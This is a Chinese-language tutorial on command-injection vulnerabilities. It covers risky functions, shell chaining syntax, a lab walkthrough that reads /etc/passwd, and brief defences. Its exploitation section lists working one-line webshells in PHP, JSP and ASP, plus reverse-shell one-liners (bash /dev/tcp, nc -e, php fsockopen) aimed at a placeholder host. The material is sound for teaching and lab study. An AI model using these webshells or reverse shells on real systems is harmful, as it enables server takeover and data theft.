理论基础
-
命令执行漏洞
命令执行漏洞是指攻击者通过注入恶意命令来执行非预期的操作;简单来说就是没有对用户输入的内容充分的验证或过滤,而直接带入到命令执行函数中当成系统化命令被执行。
- 漏洞危害
- 执行任意系统命令,可能导致服务器被完全控制。
- 敏感信息泄露,如密码、数据库内容等。
- 对系统进行拒绝服务(DoS)攻击。
- 执行恶意代码,如安装后门、植入恶意软件等。
-
常见漏洞函数
编程语言 执行系统命令的函数 PHP exec()
、shell_exec()
、system()
、passthru()
、proc_open()
、popen()
Python os.system()
、subprocess.run()
、subprocess.Popen()
Go os/exec.Command()
、os/exec.Run()
、os/exec.Output()
Java Runtime.getRuntime().exec()
、ProcessBuilder.command()
Node.js child_process.exec()
、child_process.spawn()
- Windows&Linux命令语法
-
Windows
-
&
:用于连接多个命令,按顺序执行 -
&&
:用于连接多个命令,只有前一个命令成功执行后才执行下一个命令 -
|
:用于将一个命令的输出作为另一个命令的输入 -
||
: 用于连接多个命令,只要前一个命令执行失败,就执行下一个命令 -
*
:匹配任意字符序列(可以为空) -
?
:匹配单个字符
-
-
Linux
;
:用于连接多个命令,按顺序执行&
:用于连接多个命令,将多个命令置于后台运行&&
、|
、||
、*
、?
:与Windows一样[a-z0-9]
:匹配[]
中的任意字符- 更多参考:linux常用语法
-
- 进一步利用
-
写入webshell:
# 常见的webshell # php <?php eval($_POST['f4nq1e']);?> <?=eval($_POST[f4nq1e]);?> <?php assert(@$_POST['f4nq1e']);?> <?php$fun=create_function('',$_POST['f4nq1e']);$fun();?> <?php@call_user_func(assert,$_POST['f4nq1e']);?> <?php@preg_replace("/abcde/e",$_POST['f4nq1e'],"abcdefg");?> <?php$a='assert';array_map("$a",$_REQUEST);?> <?php$item['JON']='assert';$array[]=$item;$array[0]['JON']($_POST["f4nq1e"]);?> <?php$a="eval";$a(@$_POST['f4nq1e']);?> # jsp <% out.println(system(request.getParameter("f4nq1e"))); %> # asp <%eval request("f4nq1e")%> <%execute(request("f4nq1e"))%> <%ExecuteGlobal request("f4nq1e")%> # aspx <%@ Page Language="Jscript" validateRequest="false" %><%Response.Write(eval(Request.Item["f4nq1e"],"unsafe"));%>
参考文章:知乎-命令执行写Webshell总结
-
反弹shell:
# bash反弹shell /bin/bash -i >& /dev/tcp/xx.xx.xx.xx/9877 0>&1 # nc反弹shell: nc -e /bin/sh xx.xx.xx.xx 9877 # php反弹shell php -r '$sock=fsockopen("xx.xx.xx.xx",1234);exec("/bin/sh -i <&3 >&3 2>&3");' # telnet反弹shell telnet xx.xx.xx.xx 8080 | /bin/bash | telnet xx.xx.xx.xx 9090 # crontab反弹shell * * * * * /bin/bash -i >& /dev/tcp//1234 0>&1
参考文章:先知-反弹shell方式汇总
-
- 命令执行防御
- 输入验证和过滤:对于从用户或外部源接收的所有输入数据,进行严格的验证和过滤。确保只允许预期的输入字符和格式,并拒绝潜在的恶意代码。
- 权限限制:确保应用程序在执行命令时使用最低特权。不要在命令执行中使用超级用户权限或管理员权限,以降低攻击者可能获得的权限。
- 沙箱环境:在可能的情况下,将应用程序或相关组件运行在沙箱环境中,以限制其对系统的访问权限。这可以帮助隔离恶意代码的影响,并提供额外的安全层。
实践学习
漏洞环境以Pilot靶场为例:下载地址与部署教程
-
进入漏洞页面,发现服务器进程监控每隔固定时间会刷新。
-
抓包拦截刷新请求,发现通过Base64编码进行了命令执行,返回了进程信息:
-
修改命令为
cat /etc/passwd
,读取虚拟机的密码信息: -
成功执行命令。